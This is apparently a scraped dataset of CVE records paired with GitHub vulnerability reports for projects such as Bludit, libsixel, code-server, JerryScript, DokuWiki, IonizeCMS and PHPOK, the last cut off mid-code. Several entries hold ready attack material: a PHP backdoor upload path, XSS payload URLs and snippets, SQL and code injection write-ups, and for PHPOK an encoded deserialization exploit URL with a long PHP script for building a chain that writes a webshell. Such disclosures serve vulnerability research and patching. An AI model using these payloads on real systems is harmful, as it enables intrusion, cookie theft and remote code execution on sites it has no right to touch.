Notices: please be careful not to open or modify this zip file, because this will cause an error
3 click the 'Restore Backup'
4 http://192.168.61.242/bl-content/uploads/1.php
Open the url can see phpinfo ,and can use 'ant' to connect the backdoor via http://xx.xx.xx.xx/bl-content/uploads/1.php
| File upload vulnerability | https://api.github.com/repos/bludit/bludit/issues/1242/comments | 9 | 2020-07-24T09:06:36Z | 2022-02-22T16:11:27Z | https://github.com/bludit/bludit/issues/1242 | 665,032,423 | 1,242 | 3,591 |
CVE-2022-29977 | 2022-05-11T14:15:08.157 | There is an assertion failure error in stbi__jpeg_huff_decode, stb_image.h:1894 in libsixel img2sixel 1.8.6. Remote attackers could leverage this vulnerability to cause a denial-of-service via a crafted JPEG file. | {
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"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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"exploitabilityScore": 8.6,
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"url": "https://github.com/saitoha/libsixel/issues/165"
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] | github.com | [
"saitoha",
"libsixel"
] | ## Description ##
There is an assertion failure error in stbi__jpeg_huff_decode, stb_image.h:1894. Remote attackers could leverage this vulnerability to cause a denial-of-service via a crafted jpg file.
## Version ##
img2sixel 1.8.6, commit id 6a5be8b72d84037b83a5ea838e17bcf372ab1d5f (Tue Jan 14 02:27:00 2020 +0900)
## Reproduction ##
```
# img2sixel poc -o /tmp/foo
img2sixel: stb_image.h:1894: stbi__jpeg_huff_decode: Assertion `(((j->code_buffer) >> (32 - h->size[c])) & stbi__bmask[h->size[c]]) == h->code[c]' failed.
Aborted (core dumped)
```
[poc.zip](https://github.com/saitoha/libsixel/files/8547650/poc.zip)
## Platfrom ##
```
# uname -a
Linux 4a409ce47130 5.4.0-70-generic #78~18.04.1-Ubuntu SMP Sat Mar 20 14:10:07 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```
| Assertion failure in stbi__jpeg_huff_decode, stb_image.h:1894 | https://api.github.com/repos/saitoha/libsixel/issues/165/comments | 4 | 2022-04-23T16:47:52Z | 2025-02-16T01:30:10Z | https://github.com/saitoha/libsixel/issues/165 | 1,213,359,590 | 165 | 3,592 |
CVE-2022-29978 | 2022-05-11T14:15:08.197 | There is a floating point exception error in sixel_encoder_do_resize, encoder.c:633 in libsixel img2sixel 1.8.6. Remote attackers could leverage this vulnerability to cause a denial-of-service via a crafted JPEG file. | {
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] | github.com | [
"saitoha",
"libsixel"
] | ## Description ##
There is a floating point exception error in sixel_encoder_do_resize, encoder.c:633 in img2sixel 1.8.6. Remote attackers could leverage this vulnerability to cause a denial-of-service via a crafted JPEG file.
## Version ##
img2sixel 1.8.6, commit id https://github.com/saitoha/libsixel/commit/6a5be8b72d84037b83a5ea838e17bcf372ab1d5f (Tue Jan 14 02:27:00 2020 +0900)
## Reproduction ##
```
# img2sixel -w 128 poc /tmp/foo
ASAN:DEADLYSIGNAL
=================================================================
==1596536==ERROR: AddressSanitizer: FPE on unknown address 0x55718c759aa0 (pc 0x55718c759aa0 bp 0x7fff1eb09d20 sp 0x7fff1eb09cf0 T0)
#0 0x55718c759a9f in sixel_encoder_do_resize /root/programs/libsixel/src/encoder.c:633
#1 0x55718c75b5e5 in sixel_encoder_encode_frame /root/programs/libsixel/src/encoder.c:968
#2 0x55718c760d75 in load_image_callback /root/programs/libsixel/src/encoder.c:1679
#3 0x55718c7c883d in load_gif /root/programs/libsixel/src/fromgif.c:671
#4 0x55718c7c0d74 in load_with_builtin /root/programs/libsixel/src/loader.c:908
#5 0x55718c7c19cb in sixel_helper_load_image_file /root/programs/libsixel/src/loader.c:1418
#6 0x55718c7612e7 in sixel_encoder_encode /root/programs/libsixel/src/encoder.c:1743
#7 0x55718c7549ee in main /root/programs/libsixel/converters/img2sixel.c:457
#8 0x7f382df64c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#9 0x55718c752109 in _start (/root/programs/libsixel/build_asan/bin/img2sixel+0x5e109)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /root/programs/libsixel/src/encoder.c:633 in sixel_encoder_do_resize
==1596536==ABORTING
```
[poc.zip](https://github.com/saitoha/libsixel/files/8679642/poc.zip)
## Platform ##
```
# uname -a
Linux 4a409ce47130 5.4.0-70-generic #78~18.04.1-Ubuntu SMP Sat Mar 20 14:10:07 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```
| FPE in sixel_encoder_do_resize, encoder.c:633 | https://api.github.com/repos/saitoha/libsixel/issues/166/comments | 5 | 2022-04-25T06:12:49Z | 2025-02-15T23:51:49Z | https://github.com/saitoha/libsixel/issues/166 | 1,214,020,987 | 166 | 3,593 |
CVE-2021-28290 | 2022-05-11T18:15:22.160 | A cross-site scripting (XSS) vulnerability in Skoruba IdentityServer4.Admin before 2.0.0 via unencoded value passed to the data-secret-value parameter. | {
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] | 79 | https://github.com/skoruba/IdentityServer4.Admin/issues/813 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"skoruba",
"IdentityServer4.Admin"
] | In the views `ClientSecret` and `ApiResourceSecret` is not HTML encoded data attribute `data-secret-value` on the button:
```
<td><button class="secret-value-button btn btn-outline-primary" data-secret-value="clientSecret.Value"><i class="fa fa-eye"></i></button></td>
```
This data attribute is used in the dialog with secret detail.
Fix:
```
<button class="secret-value-button btn btn-outline-primary" data-secret-value="@Html.Encode(clientSecret.Value)"><i class="fa fa-eye"></i></button>
```
I will send this fix asap.
Thanks to Silton Santos for reporting. | XSS issue in Client Secrets and Api Resource Secrets | https://api.github.com/repos/skoruba/IdentityServer4.Admin/issues/813/comments | 1 | 2021-03-11T17:17:35Z | 2021-04-26T15:07:43Z | https://github.com/skoruba/IdentityServer4.Admin/issues/813 | 829,353,980 | 813 | 3,594 |
CVE-2021-42648 | 2022-05-11T18:15:23.097 | Cross-site scripting (XSS) vulnerability exists in Coder Code-Server before 3.12.0, allows attackers to execute arbitrary code via crafted URL. | {
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] | github.com | [
"cdr",
"code-server"
] | <!--
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Thanks for reporting a bug.
Please search for existing issues before filing, as they may contain additional
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help us understand the issue.
-->
## OS/Web Information
- Web Browser: **firefox**
- Local OS: **Debian**
- Remote OS:**Debian**
- Remote Architecture:
- `code-server --version`: **v3.12.0**
## Steps to Reproduce
1.Open your browser and insert payload `/static/test%3Cmy_tag_efb4535077ba29aaca28167c491b4249/%3E%3Cimg%20src=x%3E%3Cscript%3Ealert(1)%3C/script%3E`
2.example: `http://127.0.0.1:8080/static/test%3Cmy_tag_efb4535077ba29aaca28167c491b4249/%3E%3Cimg%20src=x%3E%3Cscript%3Ealert(1)%3C/script%3E`
<!--
First run code-server with at least debug logging (or trace to be really
thorough) by setting the --log flag or the LOG_LEVEL environment variable. -vvv
and --verbose are aliases for --log trace. For example:
code-server --log debug
Once this is done, replicate the issue you're having then collect logging
information from the following places:
1. The most recent files from ~/.local/share/code-server/coder-logs.
2. The browser console.
3. The browser network tab.
Additionally, collecting core dumps (you may need to enable them first) if
code-server crashes can be helpful.
-->
<!--
If you're having issues with installation please include the installation logs
i.e. the output of `yarn global add code-server` if you installed with `yarn`
-->
## Screenshot
<!-- Ideally provide a screenshot, gif, video or screen recording. -->
## Notes
<!-- If you can reproduce the issue on vanilla VS Code,
please file the issue at the VS Code repository instead. -->
This issue can be reproduced in VS Code: Yes
| Cross Site Scripting（XSS）vulnerability in code-server | https://api.github.com/repos/coder/code-server/issues/4355/comments | 7 | 2021-10-14T08:16:39Z | 2021-12-07T19:57:43Z | https://github.com/coder/code-server/issues/4355 | 1,026,100,872 | 4,355 | 3,595 |
CVE-2021-42863 | 2022-05-12T13:15:07.687 | A buffer overflow in ecma_builtin_typedarray_prototype_filter() in JerryScript version fe3a5c0 allows an attacker to construct a fake object or a fake arraybuffer with unlimited size. | {
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] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
d4231e7
###### Build platform
Ubuntu 20.04.3 LTS (Linux 5.11.0-34-generic x86_64)
###### Build steps
```sh
./tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \
--clean --debug --strip=off --logging=on --error-messages=on \
--compile-flag=-fsanitize=address --stack-limit=20
```
###### Test case
```javascript
function test(constructor, constructor2, from = [1, 2, 3, 4, 5]) {
var modifiedConstructor = new constructor(from);
modifiedConstructor.constructor = constructor2;
modifiedConstructor.filter(x => x % 2 == 0);
}
test(Float64Array, Float32Array);
```
###### Output
ICE: Assertion 'object_p->type_flags_refs >= ECMA_OBJECT_REF_ONE' failed at /home/sy/Documents/jerry/jerryscript/jerry-core/ecma/base/ecma-gc.c(ecma_deref_object):158.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted (core dumped)
###### Backtrace
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007f2898e32859 in __GI_abort () at abort.c:79
#2 0x0000558795034682 in jerry_port_fatal (code=ERR_FAILED_INTERNAL_ASSERTION) at /home/sy/Documents/jerry/jerryscript/jerry-port/default/default-fatal.c:30
#3 0x0000558794fccb4a in jerry_fatal (code=ERR_FAILED_INTERNAL_ASSERTION) at /home/sy/Documents/jerry/jerryscript/jerry-core/jrt/jrt-fatals.c:63
#4 0x0000558794fccba0 in jerry_assert_fail (assertion=0x558795036db0 "object_p->type_flags_refs >= ECMA_OBJECT_REF_ONE", file=0x558795036d68 "/home/sy/Documents/jerry/jerryscript/jerry-core/ecma/base/ecma-gc.c", function=0x558795052a90 <__func__.7709> "ecma_deref_object", line=158) at /home/sy/Documents/jerry/jerryscript/jerry-core/jrt/jrt-fatals.c:87
#5 0x0000558794f80b25 in ecma_deref_object (object_p=0x55879507b990 <jerry_global_heap+1872>) at /home/sy/Documents/jerry/jerryscript/jerry-core/ecma/base/ecma-gc.c:158
#6 0x0000558794f92037 in ecma_free_value (value=1875) at /home/sy/Documents/jerry/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:1145
#7 0x0000558794f92167 in ecma_fast_free_value (value=1875) at /home/sy/Documents/jerry/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:1184
#8 0x0000558794fea587 in opfunc_call (frame_ctx_p=0x7ffcb43d6230) at /home/sy/Documents/jerry/jerryscript/jerry-core/vm/vm.c:834
#9 0x0000558794ff5e4b in vm_execute (frame_ctx_p=0x7ffcb43d6230) at /home/sy/Documents/jerry/jerryscript/jerry-core/vm/vm.c:5271
#10 0x0000558794ff60ea in vm_run (shared_p=0x7ffcb43d63a0, this_binding_value=11, lex_env_p=0x55879507b330 <jerry_global_heap+240>) at /home/sy/Documents/jerry/jerryscript/jerry-core/vm/vm.c:5372
#11 0x0000558794fb1369 in ecma_op_function_call_simple (func_obj_p=0x55879507b530 <jerry_global_heap+752>, this_arg_value=72, arguments_list_p=0x7ffcb43d651c, arguments_list_len=2) at /home/sy/Documents/jerry/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1145
#12 0x0000558794fb1a19 in ecma_op_function_call (func_obj_p=0x55879507b530 <jerry_global_heap+752>, this_arg_value=72, arguments_list_p=0x7ffcb43d651c, arguments_list_len=2) at /home/sy/Documents/jerry/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1395
#13 0x0000558794fea4a9 in opfunc_call (frame_ctx_p=0x7ffcb43d64d0) at /home/sy/Documents/jerry/jerryscript/jerry-core/vm/vm.c:799
#14 0x0000558794ff5e4b in vm_execute (frame_ctx_p=0x7ffcb43d64d0) at /home/sy/Documents/jerry/jerryscript/jerry-core/vm/vm.c:5271
#15 0x0000558794ff60ea in vm_run (shared_p=0x7ffcb43d65e0, this_binding_value=11, lex_env_p=0x55879507b330 <jerry_global_heap+240>) at /home/sy/Documents/jerry/jerryscript/jerry-core/vm/vm.c:5372
#16 0x0000558794fe99c1 in vm_run_global (bytecode_p=0x55879507b6a8 <jerry_global_heap+1128>, function_object_p=0x55879507b520 <jerry_global_heap+736>) at /home/sy/Documents/jerry/jerryscript/jerry-core/vm/vm.c:306
#17 0x0000558794f77256 in jerry_run (func_val=739) at /home/sy/Documents/jerry/jerryscript/jerry-core/api/jerry.c:588
#18 0x0000558794f73d63 in main (argc=2, argv=0x7ffcb43d69c8) at /home/sy/Documents/jerry/jerryscript/jerry-main/main-jerry.c:173
#19 0x00007f2898e340b3 in __libc_start_main (main=0x558794f73889 <main>, argc=2, argv=0x7ffcb43d69c8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffcb43d69b8) at ../csu/libc-start.c:308
#20 0x0000558794f737ce in _start ()
###### Expected behavior
memcopy() in ecma-builtin-typearray-prototype.c:467 should check type of the array give backed by filter. We have already made this crash an arbitrary read/write, if you need that PoC, please contact us.
| Buffer-overflow in ecma-builtin-typedarray-prototype.c | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4793/comments | 0 | 2021-10-13T02:35:23Z | 2022-12-31T04:40:51Z | https://github.com/jerryscript-project/jerryscript/issues/4793 | 1,024,703,352 | 4,793 | 3,596 |
CVE-2022-28919 | 2022-05-12T16:15:07.417 | HTMLCreator release_stable_2020-07-29 was discovered to contain a cross-site scripting (XSS) vulnerability via the function _generateFilename. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"splitbrain",
"dokuwiki"
] | Hello,
I would like to report for possible XSS vulnerability.
The source in this file https://github.com/splitbrain/dokuwiki/blob/master/vendor/openpsa/universalfeedcreator/lib/Creator/HTMLCreator.php Line 157 in function _generateFilename.
While the sink in this https://github.com/splitbrain/dokuwiki/blob/master/feed.php line 103.
I tried to test the pathinfo function in PHP. And I found it is possible to bypass this function with this example.
```php
<?php
$path_parts = pathinfo('/path/<img src="aaa.img" onerror=alert(document.cookie);>');
echo $path_parts['basename'], "\n"; // XSS
```
| Possible XSS vulnerability | https://api.github.com/repos/dokuwiki/dokuwiki/issues/3651/comments | 3 | 2022-03-30T10:23:12Z | 2022-06-13T07:37:23Z | https://github.com/dokuwiki/dokuwiki/issues/3651 | 1,186,232,416 | 3,651 | 3,597 |
CVE-2022-28920 | 2022-05-12T16:15:07.457 | Tieba-Cloud-Sign v4.9 was discovered to contain a cross-site scripting (XSS) vulnerability via the function strip_tags. | {
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"MoeNetwork",
"Tieba-Cloud-Sign"
] | Hello,
I would like to report for XSS vulnerability.
In file https://github.com/MoeNetwork/Tieba-Cloud-Sign/blob/master/templates/control.php line 53.
```php
case 'setplug':
$plug = strip_tags($_GET['plug']);
$pluginfo = getPluginInfo($plug);
```
Then, there is an echo in line 62.
```php
echo '<a href="'.$pluginfo['plugin']['url'].'" target="_blank">';
```
strip_tags is not secure in this case. If you can look to this code example the alert will be printed when you press on the link.
```php
<?php
$x = "'javascript:alert()'";
$y = strip_tags($x);
echo "<a href=$x>ClickMe</a>";
```
| Possible XSS vulnerability | https://api.github.com/repos/MoeNetwork/Tieba-Cloud-Sign/issues/156/comments | 5 | 2022-04-06T12:16:33Z | 2022-06-14T21:38:05Z | https://github.com/MoeNetwork/Tieba-Cloud-Sign/issues/156 | 1,194,528,586 | 156 | 3,598 |
CVE-2022-29306 | 2022-05-12T16:15:07.643 | IonizeCMS v1.0.8.1 was discovered to contain a SQL injection vulnerability via the id_page parameter in application/models/article_model.php. | {
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"url": "https://github.com/ionize/ionize/issues/404"
},
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"url": "https://github.com/ionize/ionize/issues/404"
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"89"
] | 89 | https://github.com/ionize/ionize/issues/404 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"ionize",
"ionize"
] | ### **1.Information**
Exploit Title: IonizeCMS-V1.0.8.1-Unverified post request parameters lead to sql injection
Exploit date: 11.04.2022
Exploit Author: ericfrank900528@gmail.com
Vendor Homepage: https://github.com/ionize/ionize
Affect Version: V1.0.8.1
Description: SQL injection in Ionize CMS 1.0.8.1 allows attackers to execute commands remotely via a sql injection request from client.
### **2.Vulnerability Description**
The exploit code is located in the project's application/models/article_model.php file
In the shift_article_ordering method, the code is as follows.
The POST parameter id_page is spliced into the sql statement without any processing or inspection, resulting in a SQL injection vulnerability.
<img width="857" alt="shift_article_ordering_source" src="https://user-images.githubusercontent.com/103121115/162709755-aabacb60-d5b2-437d-bfa0-01d03835d4ff.png">
### **3.How to Exploit**
3.1Construct normal packet and send. In the image below, you can see that there is a 2 second network delay.
<img width="1274" alt="shift_article_ordering_prove1" src="https://user-images.githubusercontent.com/103121115/162709136-48bb19ed-4077-4325-8282-2b6f09a4e6f8.png">
3.2Construct the injected data to execute `sleep(1)`. It can be found that the delay is more than 4 seconds. It is speculated that there are 4 records in total, so `sleep(1)` is executed 4 times.
<img width="1272" alt="shift_article_ordering_prove2" src="https://user-images.githubusercontent.com/103121115/162709181-54b6a408-4ab4-4fb1-94a4-af3628329ea0.png">
3.3Construct the injection again to execute `sleep(3)`, this time with a delay of `2 + 4*3 = 14` seconds if the guess is correct.
<img width="1274" alt="shift_article_ordering_prove3" src="https://user-images.githubusercontent.com/103121115/162709204-fa71d499-97c7-4c25-938b-5aaf0fa14858.png">
### **4.Suggestion**
Validate the parameters in the post request to avoid SQL injection
| IonizeCMS-V1.0.8.1-Unverified post request parameters lead to sql injection | https://api.github.com/repos/ionize/ionize/issues/404/comments | 1 | 2022-04-11T09:26:21Z | 2022-04-11T09:37:25Z | https://github.com/ionize/ionize/issues/404 | 1,199,678,897 | 404 | 3,599 |
CVE-2022-29307 | 2022-05-12T16:15:07.690 | IonizeCMS v1.0.8.1 was discovered to contain a command injection vulnerability via the function copy_lang_content in application/models/lang_model.php. | {
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"baseScore": 7.5,
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"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"version": "3.1"
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"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
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} | [
{
"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
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"url": "https://github.com/ionize/ionize/issues/405"
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"94"
] | 94 | https://github.com/ionize/ionize/issues/405 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"ionize",
"ionize"
] | ### **1.Information**
Exploit Title: IonizeCMS-V1.0.8.1-Unverified post request parameters lead to command injection
Exploit date: 11.04.2022
Exploit Author: ericfrank900528@gmail.com
Vendor Homepage: https://github.com/ionize/ionize
Affect Version: V1.0.8.1
Description: Code injection in Ionize CMS 1.0.8.1 allows attackers to execute commands remotely via a code injection request from client.
### **2.Vulnerability Description**
The exploit code is located in the project's application/models/lang_model.php file
In the copy_lang_content method, the code is as follows.
The `POST` parameter `from` is spliced into the function content parameter in the `create_function` function without any processing or checking, resulting in a `code injection vulnerability`
<img width="935" alt="copy_lang_content_source" src="https://user-images.githubusercontent.com/103121115/162712237-6585edd4-32e9-496f-9a94-a90109a09a3e.png">
### **3.How to Exploit**
Construct the attack packet to achieve the effect of executing the `whoami` command.
<img width="1277" alt="copy_lang_content_prove" src="https://user-images.githubusercontent.com/103121115/162712406-f7b413f4-b889-4d09-a718-e9c550bfc137.png">
### **4.Suggestion**
Validate the parameters in the post request to avoid Code injection
| IonizeCMS-V1.0.8.1-Unverified post request parameters lead to command injection | https://api.github.com/repos/ionize/ionize/issues/405/comments | 0 | 2022-04-11T09:45:52Z | 2022-04-11T09:55:47Z | https://github.com/ionize/ionize/issues/405 | 1,199,702,975 | 405 | 3,600 |
CVE-2022-29363 | 2022-05-12T18:16:53.967 | Phpok v6.1 was discovered to contain a deserialization vulnerability via the update_f() function in login_control.php. This vulnerability allows attackers to getshell via writing arbitrary files. | {
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"type": "Primary"
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"tags": [
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"Issue Tracking",
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"url": "https://github.com/qinggan/phpok/issues/12"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
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"502"
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"qinggan",
"phpok"
] | The update method in the login controller of the admin module calls the decode method and calls unserialize in the decode function
poc:`http://127.0.0.1/61/admin.php?c=login&f=update&fid=../index&fcode=admin&quickcode=cefe25SOUEa4gCpoIv%2BJt%2F5z6u31tiK52nSRBk5hdcE2RBSYok%2B16JUHTY2n6QLMYal2lrFTkM5Os27Hn4Ho0QPtj1%2F8q2%2FrfShLLljvUGCdsPgQITemOZnBayJugy32PTPq2Jb056hKp04YfhZbymkHkBRv1c6dMcanU1shtbl46I0xgaskKvpoMp5YCH2WnVNziBbHCks11vpoXScgZrX1sqTCWaZ5m9Z04eaDJGWCQG3hVzNy3lC27cvVocS1ed0OP0K%2B9k0MfSNcTc0IUlEsZmQt1QY6Y%2FC4nm41IVgrcwXakwGLoR%2BvttyospEjAu0P%2BE8eo`
analyze：
<img width="1439" alt="image" src="https://user-images.githubusercontent.com/70200814/163336455-9ec88383-3cb4-429c-bc89-ab3e709585d0.png">
<img width="1421" alt="image" src="https://user-images.githubusercontent.com/70200814/163336550-220647cc-579e-4814-b0f8-12c8ae33a1b9.png">
For this payload, we can use the cache class, whose __destruct method calls the save method, and the save method can write to the webshell：
<img width="1428" alt="image" src="https://user-images.githubusercontent.com/70200814/163336690-f8217eee-844c-4f0d-b1c6-f94240ffe4b7.png">
The exit here can be bypassed through the pseudo-protocol of php：
<img width="1402" alt="image" src="https://user-images.githubusercontent.com/70200814/163336769-ae53bfee-062c-4eec-82e0-b6c7381beb2b.png">
php file successfully written and executed：
<img width="1439" alt="image" src="https://user-images.githubusercontent.com/70200814/163336839-54f0faeb-8eb1-499e-9665-a43d6354bfd7.png">
When executing the following file to generate an attack chain, put index.php in the same directory:
`<?php
class token_lib
{
private $keyid = '';
private $keyc_length = 6;
private $keya;
private $keyb;
private $time;
private $expiry = 3600;
private $encode_type = 'api_code'; //仅支持 api_code 和 public_key
private $public_key = '';
private $private_key = '';
public function __construct()
{
$this->time = time();
}
public function etype($type="")
{
if($type && in_array($type,array('api_code','public_key'))){
$this->encode_type = $type;
}
return $this->encode_type;
}
public function public_key($key='')
{
if($key){
$this->public_key = $key;
}
return $this->public_key;
}
public function private_key($key='')
{
if($key){
$this->private_key = $key;
}
return $this->private_key;
}
/**
* 自定义密钥
* @参数 $keyid 密钥内容
**/
public function keyid($keyid='')
{
if(!$keyid){
return $this->keyid;
}
$this->keyid = strtolower(md5($keyid));
$this->config();
return $this->keyid;
}
private function config()
{
if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));
}
/**
* 设置超时
* @参数 $time 超时时间，单位是秒
**/
public function expiry($time=0)
{
if($time && $time > 0){
$this->expiry = $time;
}
return $this->expiry;
}
/**
* 加密数据
* @参数 $string 要加密的数据，数组或字符
**/
public function encode($string)
{
if($this->encode_type == 'public_key'){
return $this->encode_rsa($string);
}
if(!$this->keyid){
return false;
}
$string = serialize($string);
$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));
}
/**
* 基于公钥加密
**/
private function encode_rsa($string)
{
if(!$this->public_key){
return false;
}
$string = serialize($string);
$crypto = '';
$tlist = str_split($string,117);
foreach($tlist as $key=>$value){
openssl_public_encrypt($value,$data,$this->public_key);
$crypto .= $data;
}
return base64_encode($crypto);
}
/**
* 解密
* @参数 $string 要解密的字串
**/
public function decode($string)
{
if($this->encode_type == 'public_key'){
return $this->decode_rsa($string);
}
if(!$this->keyid){
return false;
}
$string = str_replace(' ','+',$string);
$keyc = substr($string, 0, $this->keyc_length);
$string = base64_decode(substr($string, $this->keyc_length));
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
$info = substr($rs, 26);
return unserialize($info);
}
return false;
}
/**
* 基于私钥解密
**/
public function decode_rsa($string)
{
if(!$this->private_key){
return false;
}
$crypto = '';
$tlist = str_split(base64_decode($string),128);
foreach($tlist as $key=>$value){
openssl_private_decrypt($value,$data,$this->private_key);
$crypto .= $data;
}
if($crypto){
return unserialize($crypto);
}
return false;
}
private function core($string,$cryptkey)
{
$key_length = strlen($cryptkey);
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法，打乱密匙簿，增加随机性，好像很复杂，实际上并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $result;
}
}
class file_lib
{
public $read_count;
private $safecode = "<?php die('forbidden'); ?>\n";
public function __construct()
{
$this->read_count = 0;
}
/**
* 远程获取内容，这里直接调用html类来执行
* @参数 $url 网址
* @参数 $post 要提交的post数据
**/
public function remote($url,$post='')
{
return $GLOBALS['app']->lib('html')->get_content($url,$post);
}
/**
* 读取数据
* @参数 $file 要读取的文件，支持远程文件
* @参数 $length 文件长度，为空表示读取全部，仅限本地文件有效
* @参数 $filter 是否过滤安全字符，默认为true，不过滤请传参false，仅限本地文件有效
* @返回 false 或 文件内容
**/
public function cat($file="",$length=0,$filter=true)
{
if(!$file){
return false;
}
if(strpos($file,"://") !== false && strpos($file,'file://') === false){
return $this->remote($file);
}
if(!file_exists($file)){
return false;
}
$this->read_count++;
if($length && is_numeric($length)){
$maxlength = $length;
if($filter){
$maxlength = $length + strlen($this->safecode);
}
$fp = fopen($file,'rb');
if(!$fp){
return false;
}
$content = fread($fp,$maxlength);
fclose($fp);
}else{
$content = file_get_contents($file);
}
if(!$content){
return false;
}
if($filter || (is_bool($length) && $length)){
$content = str_replace($this->safecode,'',$content);
}
return $content;
}
/**
* 保存数据
* @参数 $content 要保存的内容，支持字符串，数组，多维数组等
* @参数 $file 保存的文件地址
* @参数 $var 仅限$content为数组，此项不为空时使用
* @参数 $type 写入方式，默认为wb，清零写入
* @返回 true/false
**/
public function vi($content='',$file='',$var="",$type="wb")
{
if(!$content || !$file){
return false;
}
$this->make($file,"file");
if(is_array($content) && $var){
$content = $this->__array($content,$var);
$safecode = 'if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}';
$content = "<?php\n".$safecode."\n".$content."\n//-----end";
}else{
if(strtolower($type) == 'wb' || strtolower($type) == 'w'){
$content = $this->safecode.$content;
}
}
$this->_write($content,$file,$type);
return true;
}
/**
* 存储php等源码文件，不会写入安全保护
* @参数 $content 要保存的内容
* @参数 $file 保存的地址
* @参数 $type 写入模式，wb 表示完全写入，ab 表示追加写入
**/
public function vim($content,$file,$type="wb")
{
$this->make($file,"file");
return $this->_write($content,$file,$type);
}
/**
* 保存数据别名，不改写任何东西
* @参数 $content 要保存的内容
* @参数 $file 保存的地址
* @参数 $type 写入模式，wb 表示完全写入，ab 表示追加写入
**/
public function save($content,$file,$type='wb')
{
return $this->vim($content,$file,$type);
}
/**
* 存储图片，内容不进行stripslashes处理
* @参数 $content 要保存的内容
* @参数 $file 要保存的文件
* @返回
* @更新时间
**/
public function save_pic($content,$file)
{
$this->make($file,"file");
$handle = $this->_open($file,"wb");
fwrite($handle,$content);
unset($content);
$this->_close($handle);
return true;
}
/**
* 删除操作，请一定要小心，在程序中最好严格一些，不然有可能将整个目录删掉
* @参数 $del 要删除的文件或文件夹
* @参数 $type 仅支持file和folder，为file时仅删除$del文件，如果$del为文件夹，表示删除其下面的文件。为folder时，表示删除$del这个文件，如果为文件夹，表示删除此文件夹及子项
* @返回 true/false
**/
public function rm($del,$type="file")
{
if(!file_exists($del)){
return false;
}
if(is_file($del)){
unlink($del);
return true;
}
$array = $this->_dir_list($del);
if(!$array){
if($type == 'folder'){
rmdir($del);
}
return true;
}
foreach($array as $key=>$value){
if(file_exists($value)){
if(is_dir($value)){
$this->rm($value,$type);
}else{
unlink($value);
}
}
}
if($type == "folder"){
rmdir($del);
}
return true;
}
/**
* 创建文件或目录
* @参数 $file 文件或目录
* @参数 $type 默认是dir，表示创建目录
* @返回 true
**/
public function make($file,$type="dir")
{
$newfile = $file;
$msg = "";
if(defined("ROOT")){
$root_strlen = strlen(ROOT);
if(substr($file,0,$root_strlen) == ROOT){
$newfile = substr($file,$root_strlen);
}
$msg = ROOT;//从根目录记算起是否有文件写入
}
$array = explode("/",$newfile);
$count = count($array);
if($type == "dir"){
for($i=0;$i<$count;$i++){
$msg .= $array[$i];
if(!file_exists($msg) && ($array[$i])){
mkdir($msg,0777);
}
$msg .= "/";
}
}else{
for($i=0;$i<($count-1);$i++){
$msg .= $array[$i];
if(!file_exists($msg) && ($array[$i])){
mkdir($msg,0777);
}
$msg .= "/";
}
if(!file_exists($file)){
@touch($file);//创建文件
}
}
return true;
}
/**
* 复制操作
* @参数 $old 旧文件（夹）
* @参数 $new 新文件（夹）
* @参数 $recover 是否覆盖
* @返回 false/true
**/
public function cp($old,$new,$recover=true)
{
if(!file_exists($old)){
return false;
}
if(is_file($old)){
//如果目标是文件夹
if(substr($new,-1) == '/'){
$this->make($new,'dir');
$basename = basename($old);
if(file_exists($new.$basename) && !$recover){
return false;
}
copy($old,$new.$basename);
return true;
}
if(file_exists($new) && !$recover){
return false;
}
copy($old,$new);
return true;
}
$basename = basename($old);
$this->make($new.$basename,'dir');
$dlist = $this->ls($old);
